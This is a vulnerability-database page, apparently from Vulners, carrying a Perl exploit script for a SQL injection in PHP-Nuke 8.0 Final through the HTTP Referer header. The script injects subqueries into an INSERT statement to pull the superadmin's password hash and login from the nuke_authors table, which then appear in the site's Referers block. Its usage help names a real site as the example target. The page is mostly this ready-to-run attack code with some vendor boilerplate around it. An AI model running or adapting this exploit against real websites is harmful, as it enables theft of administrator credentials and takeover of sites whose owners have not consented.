Lucene search
K

PHP-Nuke <= 8.0 Final (HTTP Referers) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

PHP-Nuke 8.0 Final HTTP Referers SQL Injection Exploi

Code

                                                #!/usr/bin/perl 
#0day exploit for PHP-nuke &#60;=8.0 Final
#Sql injection attack in INSERT syntax
#version, when &#39;HTTP Referers&#39; block is on
#Coded by:Maciej `krasza` Kukla[[email protected]]
#Screenshot:
#0day exploit for PHP-nuke &#60;=8.0 Final
#Sql injection attack in INSERT syntax
#version, when &#39;HTTP Referers&#39; block is on
#Coded by:Maciej `krasza` Kukla[[email protected]]
#
#[+]You can see login and hash on web page in &#39;HTTP referers&#39; block
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent-&#62;new;
my $zadanie = HTTP::Request-&#62;new(GET =&#62; $adres);
my ($respone,$referer);
banner();
	$referer=&#34;http://www.krasza.int.pl&#39;),(NULL,(SELECT `pwd` FROM `nuke_authors` WHERE `radminsuper`=1))/*&#34;;
	$zadanie-&#62;referer($referer);
	$respone=$ua-&#62;request($zadanie);
	$respone-&#62;is_success or die &#34;$adres : &#34;,$respone-&#62;message,&#34;\n&#34;;
        $referer=&#34;http://www.krasza.int.pl&#39;),(NULL,(SELECT `aid` FROM `nuke_authors` WHERE `radminsuper`=1))/*&#34;;
	$zadanie-&#62;referer($referer);
	$respone=$ua-&#62;request($zadanie);
        $respone-&#62;is_success or die &#34;$adres : &#34;,$respone-&#62;message,&#34;\n&#34;;
	print &#34;[+]You can see login and hash on web page in &#39;HTTP referers&#39; block\n&#34;;
	print &#34;[+]Exploit successed\n&#34;;
sub banner{
	print &#34;0day exploit for PHP-nuke &#60;=8.0 Final\n&#34;;
        print &#34;Sql injection attack in INSERT syntax\n&#34;;
	print &#34;version, when &#39;HTTP Referers&#39; block is on\n&#34;;
        print &#34;Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n&#34;;
}
sub help{
	print &#34;0day exploit for PHP-nuke &#60;=8.0 Final\n&#34;;
	print &#34;Sql injection attack in INSERT syntax\n&#34;;
	print &#34;version, when &#39;HTTP Referers&#39; block is on\n&#34;;
	print &#34;Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n&#34;;
	print &#34;Use:\n&#34;;
	print &#34;\tperl exploit.pl [url]\n&#34;;
	print &#34;\t[url]-vicitim webpage with index.php\n&#34;;
	print &#34;Example:\n&#34;;
	print &#34;\tperl exploit.pl http://phpnuke.org/index.php\n&#34;;
	exit(0);
}

# milw0rm.com [2007-02-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21